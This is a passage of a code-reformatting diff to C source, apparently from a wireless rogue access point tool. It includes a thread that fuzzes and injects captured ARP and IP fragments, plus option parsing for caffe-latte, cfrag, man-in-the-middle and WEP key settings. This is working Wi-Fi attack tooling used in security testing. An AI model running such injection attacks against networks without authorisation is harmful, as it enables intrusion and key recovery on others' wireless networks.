+	else
+		smac = packet + 24;
 
-    memset(overlay, 0, 4096);
+	memset(overlay, 0, 4096);
 
-    smac[4] ^= rnd[0];
-    smac[5] ^= rnd[1];
+	smac[4] ^= rnd[0];
+	smac[5] ^= rnd[1];
 
-    if(frags == 1 && frag_num == 1) /* ARP final */
-    {
-        overlay[z+14] = rnd[0];
-        overlay[z+15] = rnd[1];
-        overlay[z+18] = rnd[0];
-        overlay[z+19] = rnd[1];
-        add_crc32_plain(overlay+z+4, length-z-4-4);
-    }
-    else if(frags == 3 && frag_num == 3)/* IP final */
-    {
-        overlay[z+12] = rnd[0];
-        overlay[z+13] = rnd[1];
-        overlay[z+16] = rnd[0];
-        overlay[z+17] = rnd[1];
-        add_crc32_plain(overlay+z+4, length-z-4-4);
-    }
+	if (frags == 1 && frag_num == 1) /* ARP final */
+	{
+		overlay[z + 14] = rnd[0];
+		overlay[z + 15] = rnd[1];
+		overlay[z + 18] = rnd[0];
+		overlay[z + 19] = rnd[1];
+		add_crc32_plain(overlay + z + 4, length - z - 4 - 4);
+	}
+	else if (frags == 3 && frag_num == 3) /* IP final */
+	{
+		overlay[z + 12] = rnd[0];
+		overlay[z + 13] = rnd[1];
+		overlay[z + 16] = rnd[0];
+		overlay[z + 17] = rnd[1];
+		add_crc32_plain(overlay + z + 4, length - z - 4 - 4);
+	}
 
-    for(i=0; i<length; i++)
-    {
-        packet[i] ^= overlay[i];
-    }
+	for (i = 0; i < length; i++)
+	{
+		packet[i] ^= overlay[i];
+	}
 
-    return 0;
+	return 0;
 }
 
-
-void cfrag_thread( void )
+static void cfrag_thread(void)
 {
-    struct timeval tv, tv2;
-    float f, ticks[3];
-    int nb_pkt_sent_1=0;
-    int seq=0, i=0;
-    pCF_t   curCF;
-    unsigned char rnd[2];
-    unsigned char buffer[4096];
+	struct timeval tv, tv2;
+	float f, ticks[3];
+	int nb_pkt_sent_1 = 0;
+	int seq = 0, i = 0;
+	pCF_t curCF;
+	unsigned char rnd[2];
+	unsigned char buffer[4096];
 
-    ticks[0]=0;
-    ticks[1]=0;
-    ticks[2]=0;
+	ticks[0] = 0;
+	ticks[1] = 0;
+	ticks[2] = 0;
 
-    while( 1 )
-    {
-        /* sleep until the next clock tick */
+	while (1)
+	{
+		/* sleep until the next clock tick */
 
-        gettimeofday( &tv,  NULL );
-        usleep( 1000000/RTC_RESOLUTION );
-        gettimeofday( &tv2, NULL );
+		gettimeofday(&tv, NULL);
+		usleep(1000000 / RTC_RESOLUTION);
+		gettimeofday(&tv2, NULL);
 
-#if defined(__x86_64__) && defined(__CYGWIN__)
-        f = (0.0f + 1000000)
-#else
-	f = 1000000.0
-#endif
-		* (float) ( tv2.tv_sec  - tv.tv_sec  )
-                    + (float) ( tv2.tv_usec - tv.tv_usec );
+		f = 1000000.0f * (float) (tv2.tv_sec - tv.tv_sec)
+			+ (float) (tv2.tv_usec - tv.tv_usec);
 
-        ticks[0] += f / ( 1000000/RTC_RESOLUTION );
-        ticks[1] += f / ( 1000000/RTC_RESOLUTION );
-        ticks[2] += f / ( 1000000/RTC_RESOLUTION );
-
-        if( ( (double)ticks[2] / (double)RTC_RESOLUTION )  >= ((double)
-#if defined(__x86_64__) && defined(__CYGWIN__)
-		(0.0f + 1000)
-#else
-		1000.0
-#endif
-		/(double)opt.r_nbpps)*(double)seq )
-        {
-            /* threshold reach, send one frame */
-//            ticks[2] = 0;
-
-            pthread_mutex_lock( &mx_cf );
-
-            if( opt.cf_count > 0 )
-            {
-                curCF = rCF;
-
-                if(curCF->next == NULL)
-                {
-                    opt.cf_count = 0;
-                    pthread_mutex_unlock( &mx_cf );
-                    continue;
-                }
-
-                while( curCF->next != NULL && curCF->next->xmitcount >= MAX_CF_XMIT )
-                {
-                    del_next_CF(curCF);
-                }
-
-                if(curCF->next == NULL)
-                {
-                    opt.cf_count = 0;
-                    pthread_mutex_unlock( &mx_cf );
-                    continue;
-                }
-
-                curCF = curCF->next;
-
-                if( nb_pkt_sent_1 == 0 )
-                    ticks[0] = 0;
-
-                rnd[0] = rand() % 0xFF;
-                rnd[1] = rand() % 0xFF;
-
-                for(i=0; i<curCF->fragnum; i++ )
-                {
-                    memcpy(buffer, curCF->frags[i], curCF->fraglen[i]);
-                    cfrag_fuzz(buffer, curCF->fragnum, i, curCF->fraglen[i], rnd);
-                    if( send_packet( buffer, curCF->fraglen[i] ) < 0 )
-                    {
-                        pthread_mutex_unlock( &mx_cf );
-                        return;
-                    }
-                }
-                memcpy(buffer, curCF->final, curCF->finallen);
-                cfrag_fuzz(buffer, curCF->fragnum, curCF->fragnum, curCF->finallen, rnd);
-                if( send_packet( buffer, curCF->finallen ) < 0 )
-                {
-                    pthread_mutex_unlock( &mx_cf );
-                    return;
-                }
-
-                curCF->xmitcount++;
-                nb_pkt_sent_1++;
-
-                if( ((double)ticks[0]/(double)RTC_RESOLUTION)*(double)opt.r_nbpps > (double)nb_pkt_sent_1  )
-                {
-                    rnd[0] = rand() % 0xFF;
-                    rnd[1] = rand() % 0xFF;
-                    for(i=0; i<curCF->fragnum; i++ )
-                    {
-                        memcpy(buffer, curCF->frags[i], curCF->fraglen[i]);
-                        cfrag_fuzz(buffer, curCF->fragnum, i, curCF->fraglen[i], rnd);
-                        if( send_packet( buffer, curCF->fraglen[i] ) < 0 )
-                        {
-                            pthread_mutex_unlock( &mx_cf );
-                            return;
-                        }
-                    }
-                    memcpy(buffer, curCF->final, curCF->finallen);
-                    cfrag_fuzz(buffer, curCF->fragnum, curCF->fragnum, curCF->finallen, rnd);
-                    if( send_packet( buffer, curCF->finallen ) < 0 )
-                    {
-                        pthread_mutex_unlock( &mx_cf );
-                        return;
-                    }
-
-                    curCF->xmitcount++;
-                    nb_pkt_sent_1++;
-                }
-            }
-            pthread_mutex_unlock( &mx_cf );
-        }
-    }
-}
-
-int main( int argc, char *argv[] )
-{
-    int ret_val, len, i, n;
-    struct pcap_pkthdr pkh;
-    fd_set read_fds;
-    unsigned char buffer[4096];
-    char *s, buf[128];
-    int caplen;
-    struct AP_conf apc;
-    unsigned char mac[6];
-
-    /* check the arguments */
-
-    memset( &opt, 0, sizeof( opt ) );
-    memset( &dev, 0, sizeof( dev ) );
-    memset( &apc, 0, sizeof( struct AP_conf ));
-
-    pthread_mutex_init(&rESSIDmutex, NULL);
-    rESSID = (pESSID_t) malloc(sizeof(struct ESSID_list));
-    memset(rESSID, 0, sizeof(struct ESSID_list));
-
-    rFragment = (pFrag_t) malloc(sizeof(struct Fragment_list));
-    memset(rFragment, 0, sizeof(struct Fragment_list));
+		ticks[0] += f / (1000000.f / RTC_RESOLUTION);
+		ticks[1] += f / (1000000.f / RTC_RESOLUTION);
+		ticks[2] += f / (1000000.f / RTC_RESOLUTION);
+
+		if (((double) ticks[2] / (double) RTC_RESOLUTION)
+			>= ((double) 1000.0 / (double) opt.r_nbpps) * (double) seq)
+		{
+			/* threshold reach, send one frame */
+			//            ticks[2] = 0;
+
+			pthread_mutex_lock(&mx_cf);
+
+			if (opt.cf_count > 0)
+			{
+				curCF = rCF;
+
+				if (curCF->next == NULL)
+				{
+					opt.cf_count = 0;
+					pthread_mutex_unlock(&mx_cf);
+					continue;
+				}
+
+				while (curCF->next != NULL
+					   && curCF->next->xmitcount >= MAX_CF_XMIT)
+				{
+					del_next_CF(curCF);
+				}
+
+				if (curCF->next == NULL)
+				{
+					opt.cf_count = 0;
+					pthread_mutex_unlock(&mx_cf);
+					continue;
+				}
+
+				curCF = curCF->next;
 
-    rClient = (pMAC_t) malloc(sizeof(struct MAC_list));
-    memset(rClient, 0, sizeof(struct MAC_list));
+				if (nb_pkt_sent_1 == 0) ticks[0] = 0;
 
-    rBSSID = (pMAC_t) malloc(sizeof(struct MAC_list));
-    memset(rBSSID, 0, sizeof(struct MAC_list));
+				rnd[0] = rand() % 0xFF;
+				rnd[1] = rand() % 0xFF;
 
-    rCF = (pCF_t) malloc(sizeof(struct CF_packet));
-    memset(rCF, 0, sizeof(struct CF_packet));
+				for (i = 0; i < curCF->fragnum; i++)
+				{
+					memcpy(buffer, curCF->frags[i], curCF->fraglen[i]);
+					cfrag_fuzz(
+						buffer, curCF->fragnum, i, curCF->fraglen[i], rnd);
+					if (send_packet(buffer, curCF->fraglen[i]) < 0)
+					{
+						pthread_mutex_unlock(&mx_cf);
+						return;
+					}
+				}
+				memcpy(buffer, curCF->final, curCF->finallen);
+				cfrag_fuzz(buffer,
+						   curCF->fragnum,
+						   curCF->fragnum,
+						   curCF->finallen,
+						   rnd);
+				if (send_packet(buffer, curCF->finallen) < 0)
+				{
+					pthread_mutex_unlock(&mx_cf);
+					return;
+				}
+
+				curCF->xmitcount++;
+				nb_pkt_sent_1++;
+
+				if (((double) ticks[0] / (double) RTC_RESOLUTION)
+						* (double) opt.r_nbpps
+					> (double) nb_pkt_sent_1)
+				{
+					rnd[0] = rand() % 0xFF;
+					rnd[1] = rand() % 0xFF;
+					for (i = 0; i < curCF->fragnum; i++)
+					{
+						memcpy(buffer, curCF->frags[i], curCF->fraglen[i]);
+						cfrag_fuzz(
+							buffer, curCF->fragnum, i, curCF->fraglen[i], rnd);
+						if (send_packet(buffer, curCF->fraglen[i]) < 0)
+						{
+							pthread_mutex_unlock(&mx_cf);
+							return;
+						}
+					}
+					memcpy(buffer, curCF->final, curCF->finallen);
+					cfrag_fuzz(buffer,
+							   curCF->fragnum,
+							   curCF->fragnum,
+							   curCF->finallen,
+							   rnd);
+					if (send_packet(buffer, curCF->finallen) < 0)
+					{
+						pthread_mutex_unlock(&mx_cf);
+						return;
+					}
+
+					curCF->xmitcount++;
+					nb_pkt_sent_1++;
+				}
+			}
+			pthread_mutex_unlock(&mx_cf);
+		}
+	}
+}
+
+int main(int argc, char * argv[])
+{
+	int ret_val, len, i, n;
+	struct pcap_pkthdr pkh;
+	fd_set read_fds;
+	unsigned char buffer[4096];
+	char *s, buf[128], *tempstr;
+	int caplen;
+	struct AP_conf apc;
+	unsigned char mac[6];
+
+	/* check the arguments */
+
+	memset(&opt, 0, sizeof(opt));
+	memset(&dev, 0, sizeof(dev));
+	memset(&apc, 0, sizeof(struct AP_conf));
+
+	pthread_mutex_init(&rESSIDmutex, NULL);
+	rESSID = (pESSID_t) malloc(sizeof(struct ESSID_list));
+	memset(rESSID, 0, sizeof(struct ESSID_list));
+
+	rFragment = (pFrag_t) malloc(sizeof(struct Fragment_list));
+	memset(rFragment, 0, sizeof(struct Fragment_list));
+
+	rClient = (pMAC_t) malloc(sizeof(struct MAC_list));
+	memset(rClient, 0, sizeof(struct MAC_list));
+
+	rBSSID = (pMAC_t) malloc(sizeof(struct MAC_list));
+	memset(rBSSID, 0, sizeof(struct MAC_list));
+
+	rCF = (pCF_t) malloc(sizeof(struct CF_packet));
+	memset(rCF, 0, sizeof(struct CF_packet));
 
 #ifdef USE_GCRYPT
-    // Register callback functions to ensure proper locking in the sensitive parts of libgcrypt < 1.6.0
-    #if GCRYPT_VERSION_NUMBER < 0x010600
-        gcry_control (GCRYCTL_SET_THREAD_CBS, &gcry_threads_pthread);
-    #endif
-    // Disable secure memory.
-    gcry_control (GCRYCTL_DISABLE_SECMEM, 0);
-    // Tell Libgcrypt that initialization has completed.
-    gcry_control (GCRYCTL_INITIALIZATION_FINISHED, 0);
+// Register callback functions to ensure proper locking in the sensitive parts
+// of libgcrypt < 1.6.0
+#if GCRYPT_VERSION_NUMBER < 0x010600
+	gcry_control(GCRYCTL_SET_THREAD_CBS, &gcry_threads_pthread);
+#endif
+	// Disable secure memory.
+	gcry_control(GCRYCTL_DISABLE_SECMEM, 0);
+	// Tell Libgcrypt that initialization has completed.
+	gcry_control(GCRYCTL_INITIALIZATION_FINISHED, 0);
 #endif
-    pthread_mutex_init( &mx_cf, NULL );
-    pthread_mutex_init( &mx_cap, NULL );
+	pthread_mutex_init(&mx_cf, NULL);
+	pthread_mutex_init(&mx_cap, NULL);
 
-    opt.r_nbpps     = 100;
-    opt.tods        = 0;
-    opt.setWEP      = -1;
-    opt.skalen      = 128;
-    opt.filter      = -1;
-    opt.ringbuffer  = 10;
-    opt.nb_arp      = 0;
-    opt.f_index     = 1;
-    opt.interval    = 0x64;
-    opt.channel		= 0;
-    opt.beacon_cache = 0; /* disable by default */
-    opt.use_fixed_nonce = 0;
-    opt.ti_mtu = TI_MTU;
-    opt.wif_mtu = WIF_MTU;
-    invalid_channel_displayed = 0;
-
-    srand( time( NULL ) );
-
-    while( 1 )
-    {
-        int option_index = 0;
-
-        static struct option long_options[] = {
-            {"beacon-cache",1, 0, 'C'},
-            {"bssid",       1, 0, 'b'},
-            {"bssids",      1, 0, 'B'},
-            {"channel",     1, 0, 'c'},
-            {"client",      1, 0, 'd'},
-            {"clients",     1, 0, 'D'},
-            {"essid",       1, 0, 'e'},
-            {"essids",      1, 0, 'E'},
-            {"promiscuous", 0, 0, 'P'},
-            {"interval",    1, 0, 'I'},
-            {"mitm",        0, 0, 'M'},
-            {"hidden",      0, 0, 'X'},
-            {"caffe-latte", 0, 0, 'L'},
-            {"cfrag",       0, 0, 'N'},
-            {"verbose",     0, 0, 'v'},
-            {"ad-hoc",      0, 0, 'A'},
-            {"help",        0, 0, 'H'},
-            {0,             0, 0,  0 }
-        };
-
-        int option = getopt_long( argc, argv,
-                        "a:h:i:C:I:r:w:HPe:E:c:d:D:f:W:qMY:b:B:XsS:Lx:vAz:Z:yV:0NF:n:",
-                        long_options, &option_index );
-
-        if( option < 0 ) break;
-
-        switch( option )
-        {
-            case 0 :
-
-                break;
-
-            case ':' :
-
-                printf("\"%s --help\" for help.\n", argv[0]);
-                return( 1 );
-
-            case '?' :
-
-                printf("\"%s --help\" for help.\n", argv[0]);
-                return( 1 );
-
-            case 'n' :
-
-		// Check the value is 32 bytes, in hex (64 hex)
-		if (hexStringToArray(optarg, strlen(optarg), opt.fixed_nonce, 32) != 32) {
-			printf("Invalid fixed nonce. It must be 64 hexadecimal chars.\n");
-			printf("\"%s --help\" for help.\n", argv[0]);
-			return( 1 );
-		}
-		opt.use_fixed_nonce = 1;
-		break;
+	opt.r_nbpps = 100;
+	opt.tods = 0;
+	opt.setWEP = -1;
+	opt.skalen = 128;
+	opt.filter = -1;
+	opt.ringbuffer = 10;
+	opt.nb_arp = 0;
+	opt.f_index = 1;
+	opt.interval = 0x64;
+	opt.channel = 0;
+	opt.beacon_cache = 0; /* disable by default */
+	opt.use_fixed_nonce = 0;
+	opt.ti_mtu = TI_MTU;
+	opt.wif_mtu = WIF_MTU;
+	invalid_channel_displayed = 0;
 
-            case 'a' :
+	srand(time(NULL));
 
-                if( getmac( optarg, 1, opt.r_bssid ) != 0 )
-                {
-                    printf( "Invalid AP MAC address.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                break;
-
-            case 'c' :
-
-                opt.channel = atoi(optarg);
-                if (opt.channel > 255 || opt.channel < 1)
-                {
-                	printf("Invalid channel value <%d>. It must be between 1 and 255.\n", opt.channel);
-                	return( 1 );
-                }
-
-                break;
-
-            case 'V' :
-
-                opt.sendeapol = atoi(optarg);
-                if(opt.sendeapol < 1 || opt.sendeapol > 3)
-                {
-                    printf( "EAPOL value can only be 1[MD5], 2[SHA1] or 3[auto].\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-
-                break;
-
-            case 'v' :
-
-                opt.verbose = 1;
-                if( opt.quiet != 0 )
-                {
-                    printf( "Don't specify -v and -q at the same time.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-
-                break;
-
-            case 'z' :
-
-                opt.wpa1type = atoi(optarg);
-                if( opt.wpa1type < 1 || opt.wpa1type > 5 )
-                {
-                    printf( "Invalid WPA1 type [1-5]\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
+	while (1)
+	{
+		int option_index = 0;
 
-                if (opt.setWEP == -1)
-                {
-					opt.setWEP = 1;
+		static struct option long_options[] = {{"beacon-cache", 1, 0, 'C'},
+											   {"bssid", 1, 0, 'b'},
+											   {"bssids", 1, 0, 'B'},
+											   {"channel", 1, 0, 'c'},
+											   {"client", 1, 0, 'd'},
+											   {"clients", 1, 0, 'D'},
+											   {"essid", 1, 0, 'e'},
+											   {"essids", 1, 0, 'E'},
+											   {"promiscuous", 0, 0, 'P'},
+											   {"interval", 1, 0, 'I'},
+											   {"mitm", 0, 0, 'M'},
+											   {"hidden", 0, 0, 'X'},
+											   {"caffe-latte", 0, 0, 'L'},
+											   {"cfrag", 0, 0, 'N'},
+											   {"verbose", 0, 0, 'v'},
+											   {"ad-hoc", 0, 0, 'A'},
+											   {"help", 0, 0, 'H'},
+											   {0, 0, 0, 0}};
+
+		int option = getopt_long(
+			argc,
+			argv,
+			"a:h:i:C:I:r:w:HPe:E:c:d:D:f:W:qMY:b:B:XsS:Lx:vAz:Z:yV:0NF:n:",
+			long_options,
+			&option_index);
+
+		if (option < 0) break;
+
+		switch (option)
+		{
+			case 0:
+
+				break;
+
+			case ':':
+
+				printf("\"%s --help\" for help.\n", argv[0]);
+				return (1);
+
+			case '?':
+
+				printf("\"%s --help\" for help.\n", argv[0]);
+				return (1);
+
+			case 'n':
+
+				// Check the value is 32 bytes, in hex (64 hex)
+				if (hexStringToArray(
+						optarg, strlen(optarg), opt.fixed_nonce, 32)
+					!= 32)
+				{
+					printf("Invalid fixed nonce. It must be 64 hexadecimal "
+						   "chars.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
 				}
+				opt.use_fixed_nonce = 1;
+				break;
 
-                break;
+			case 'a':
 
-            case 'Z' :
+				if (getmac(optarg, 1, opt.r_bssid) != 0)
+				{
+					printf("Invalid AP MAC address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'c':
+
+				opt.channel = atoi(optarg);
+				if (opt.channel > 255 || opt.channel < 1)
+				{
+					printf("Invalid channel value <%d>. It must be between 1 "
+						   "and 255.\n",
+						   opt.channel);
+					return (1);
+				}
 
-                opt.wpa2type = atoi(optarg);
-                if( opt.wpa2type < 1 || opt.wpa2type > 5 )
-                {
-                    printf( "Invalid WPA2 type [1-5]\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
+				break;
+
+			case 'V':
+
+				opt.sendeapol = atoi(optarg);
+				if (opt.sendeapol < 1 || opt.sendeapol > 3)
+				{
+					printf("EAPOL value can only be 1[MD5], 2[SHA1] or "
+						   "3[auto].\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+
+				break;
+
+			case 'v':
+
+				opt.verbose = 1;
+				if (opt.quiet != 0)
+				{
+					printf("Don't specify -v and -q at the same time.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+
+				break;
+
+			case 'z':
+
+				opt.wpa1type = atoi(optarg);
+				if (opt.wpa1type < 1 || opt.wpa1type > 5)
+				{
+					printf("Invalid WPA1 type [1-5]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
 
 				if (opt.setWEP == -1)
-                {
+				{
 					opt.setWEP = 1;
 				}
 
-                break;
+				break;
 
-            case 'e' :
+			case 'Z':
 
-                if( addESSID(optarg, strlen(optarg), 0) != 0 )
-                {
-                    printf( "Invalid ESSID, too long\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
+				opt.wpa2type = atoi(optarg);
+				if (opt.wpa2type < 1 || opt.wpa2type > 5)
+				{
+					printf("Invalid WPA2 type [1-5]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+
+				if (opt.setWEP == -1)
+				{
+					opt.setWEP = 1;
+				}
 
-                opt.f_essid = 1;
+				break;
 
-                break;
+			case 'e':
 
-            case 'E' :
+				if (addESSID(optarg, strlen(optarg), 0) != 0)
+				{
+					printf("Invalid ESSID, too long\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
 
-                if( addESSIDfile(optarg) != 0 )
-                    return( 1 );
+				opt.f_essid = 1;
 
-                opt.f_essid = 1;
+				break;
 
-                break;
+			case 'E':
 
-            case 'P' :
+				if (addESSIDfile(optarg) != 0) return (1);
 
-                opt.promiscuous = 1;
+				opt.f_essid = 1;
 
-                break;
+				break;
 
-            case 'I' :
+			case 'P':
 
-                opt.interval = atoi(optarg);
+				opt.promiscuous = 1;
 
-                break;
+				break;
 
-            case 'C' :
+			case 'I':
 
-                opt.beacon_cache = atoi(optarg);
+				opt.interval = atoi(optarg);
 
-                break;
+				break;
 
-            case 'A' :
+			case 'C':
 
-                opt.adhoc = 1;
+				opt.beacon_cache = atoi(optarg);
 
-                break;
+				break;
 
-            case 'N' :
+			case 'A':
 
-                opt.cf_attack = 1;
+				opt.adhoc = 1;
 
-                break;
+				break;
 
-            case 'X' :
+			case 'N':
 
-                opt.hidden = 1;
+				opt.cf_attack = 1;
 
-                break;
+				break;
 
-            case '0' :
+			case 'X':
 
-                opt.allwpa = 1;
-                if(opt.sendeapol == 0)
-                    opt.sendeapol = 3;
+				opt.hidden = 1;
 
-                break;
+				break;
 
-            case 'x' :
+			case '0':
 
-                opt.r_nbpps = atoi(optarg);
-                if(opt.r_nbpps < 1 || opt.r_nbpps > 1000)
-                {
-                    printf( "Invalid speed. [1-1000]\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
+				opt.allwpa = 1;
+				if (opt.sendeapol == 0) opt.sendeapol = 3;
 
-                break;
+				break;
 
-            case 's' :
+			case 'x':
 
-                opt.forceska = 1;
+				opt.r_nbpps = atoi(optarg);
+				if (opt.r_nbpps < 1 || opt.r_nbpps > 1000)
+				{
+					printf("Invalid speed. [1-1000]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
 
-                break;
+				break;
 
-            case 'f' :
+			case 's':
 
-                if( strncasecmp(optarg, "allow", 5) == 0 || strncmp(optarg, "0", 1) == 0 )
-                {
-                    opt.filter = ALLOW_MACS; //block all, allow the specified macs
-                }
-                else if( strncasecmp(optarg, "disallow", 5) == 0 || strncmp(optarg, "1", 1) == 0 )
-                {
-                    opt.filter = BLOCK_MACS; //allow all, block the specified macs
-                }
-                else
-                {
-                    printf( "Invalid macfilter mode. [allow|disallow]\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
+				opt.forceska = 1;
 
-                break;
+				break;
 
-            case 'S' :
+			case 'f':
 
-                if(atoi(optarg) < 16 || atoi(optarg) > 1480)
-                {
-                    printf( "Invalid challenge length. [16-1480]\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
+				if (strncasecmp(optarg, "allow", 5) == 0
+					|| strncmp(optarg, "0", 1) == 0)
+				{
+					opt.filter
+						= ALLOW_MACS; // block all, allow the specified macs
+				}
+				else if (strncasecmp(optarg, "disallow", 5) == 0
+						 || strncmp(optarg, "1", 1) == 0)
+				{
+					opt.filter
+						= BLOCK_MACS; // allow all, block the specified macs
+				}
+				else
+				{
+					printf("Invalid macfilter mode. [allow|disallow]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
 
-                opt.skalen = atoi(optarg);
+				break;
 
-                break;
+			case 'S':
 
-            case 'h' :
+				if (atoi(optarg) < 16 || atoi(optarg) > 1480)
+				{
+					printf("Invalid challenge length. [16-1480]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
 
-                if( getmac( optarg, 1, opt.r_smac ) != 0 )
-                {
-                    printf( "Invalid source MAC address.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                break;
+				opt.skalen = atoi(optarg);
 
-            case 'i' :
+				break;
 
-                if( opt.s_face != NULL || opt.s_file )
-                {
-                    printf( "Packet source already specified.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                opt.s_face = optarg;
-                break;
+			case 'h':
 
-            case 'W' :
+				if (getmac(optarg, 1, opt.r_smac) != 0)
+				{
+					printf("Invalid source MAC address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
 
-                if(atoi(optarg) < 0 || atoi(optarg) > 1)
-                {
-                    printf( "Invalid argument for (-W). Only \"0\" and \"1\" allowed.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
+			case 'i':
 
-                opt.setWEP = atoi(optarg);
+				if (opt.s_face != NULL || opt.s_file)
+				{
+					printf("Packet source already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.s_face = optarg;
+				break;
 
-                break;
+			case 'W':
 
-            case 'M' :
+				if (atoi(optarg) < 0 || atoi(optarg) > 1)
+				{
+					printf("Invalid argument for (-W). Only \"0\" and \"1\" "
+						   "allowed.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
 
-                opt.mitm = 1;
+				opt.setWEP = atoi(optarg);
 
-                break;
+				break;
 
-            case 'L' :
+			case 'M':
 
-                opt.caffelatte = 1;
+				opt.mitm = 1;
 
-                break;
+				break;
 
-            case 'y' :
+			case 'L':
 
-                opt.nobroadprobe = 1;
+				opt.caffelatte = 1;
 
-                break;
+				break;
 
-            case 'Y' :
+			case 'y':
 
-                if( strncasecmp(optarg, "in", 2) == 0 )
-                {
-                    opt.external |= EXT_IN; //process incomming frames
-                }
-                else if( strncasecmp(optarg, "out", 3) == 0)
-                {
-                    opt.external |= EXT_OUT; //process outgoing frames
-                }
-                else if( strncasecmp(optarg, "both", 4) == 0 || strncasecmp(optarg, "all", 3) == 0)
-                {
-                    opt.external |= EXT_IN | EXT_OUT; //process both directions
-                }
-                else
-                {
-                    printf( "Invalid processing mode. [in|out|both]\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
+				opt.nobroadprobe = 1;
 
-                break;
+				break;
 
-            case 'q' :
+			case 'Y':
 
-                opt.quiet = 1;
-                if( opt.verbose != 0 )
-                {
-                    printf( "Don't specify -v and -q at the same time.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
+				if (strncasecmp(optarg, "in", 2) == 0)
+				{
+					opt.external |= EXT_IN; // process incoming frames
+				}
+				else if (strncasecmp(optarg, "out", 3) == 0)
+				{
+					opt.external |= EXT_OUT; // process outgoing frames
+				}
+				else if (strncasecmp(optarg, "both", 4) == 0
+						 || strncasecmp(optarg, "all", 3) == 0)
+				{
+					opt.external |= EXT_IN | EXT_OUT; // process both directions
+				}
+				else
+				{
+					printf("Invalid processing mode. [in|out|both]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
 
-                break;
+				break;
 
-            case 'w' :
+			case 'q':
 
-                if( opt.prga != NULL )
-                {
-                    printf( "PRGA file already specified.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                if( opt.crypt != CRYPT_NONE )
-                {
-                    printf( "Encryption key already specified.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
+				opt.quiet = 1;
+				if (opt.verbose != 0)
+				{
+					printf("Don't specify -v and -q at the same time.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
 
-                opt.crypt = CRYPT_WEP;
+				break;
 
-                i = 0;
-                s = optarg;
+			case 'w':
 
-                buf[0] = s[0];
-                buf[1] = s[1];
-                buf[2] = '\0';
+				if (opt.prga != NULL)
+				{
+					printf("PRGA file already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				if (opt.crypt != CRYPT_NONE)
+				{
+					printf("Encryption key already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
 
-                while( sscanf( buf, "%x", &n ) == 1 )
-                {
-                    if( n < 0 || n > 255 )
-                    {
-                        printf( "Invalid WEP key.\n" );
-                        printf("\"%s --help\" for help.\n", argv[0]);
-                        return( 1 );
-                    }
+				opt.crypt = CRYPT_WEP;
 
-                    opt.wepkey[i++] = n;
+				i = 0;
+				s = optarg;
 
-                    if( i >= 64 ) break;
+				buf[0] = s[0];
+				buf[1] = s[1];
+				buf[2] = '\0';
+
+				while (sscanf(buf, "%x", &n) == 1)
+				{
+					if (n < 0 || n > 255)
+					{
+						printf("Invalid WEP key.\n");
+						printf("\"%s --help\" for help.\n", argv[0]);
+						return (1);
+					}
 
-                    s += 2;
+					opt.wepkey[i++] = n;
 
-                    if( s[0] == ':' || s[0] == '-' )
-                        s++;
+					if (i >= 64) break;
 
-                    if( s[0] == '\0' || s[1] == '\0' )
-                        break;
+					s += 2;
 
-                    buf[0] = s[0];
-                    buf[1] = s[1];
-                }
+					if (s[0] == ':' || s[0] == '-') s++;
 
-                if( i != 5 && i != 13 && i != 16 && i != 29 && i != 61 )
-                {
-                    printf( "Invalid WEP key length.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
+					if (s[0] == '\0' || s[1] == '\0') break;
 
-                opt.weplen = i;
+					buf[0] = s[0];
+					buf[1] = s[1];
+				}
 
-                break;
+				if (i != 5 && i != 13 && i != 16 && i != 29 && i != 61)
+				{
+					printf("Invalid WEP key length.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
 
-            case 'F':
+				opt.weplen = i;
 
-                if (opt.dump_prefix != NULL) {
-                    printf( "Notice: dump prefix already given\n" );
-                    break;
-                }
-                /* Write prefix */
-                opt.dump_prefix   = optarg;
-                opt.record_data = 1;
-                break;
+				break;
 
-            case 'd':
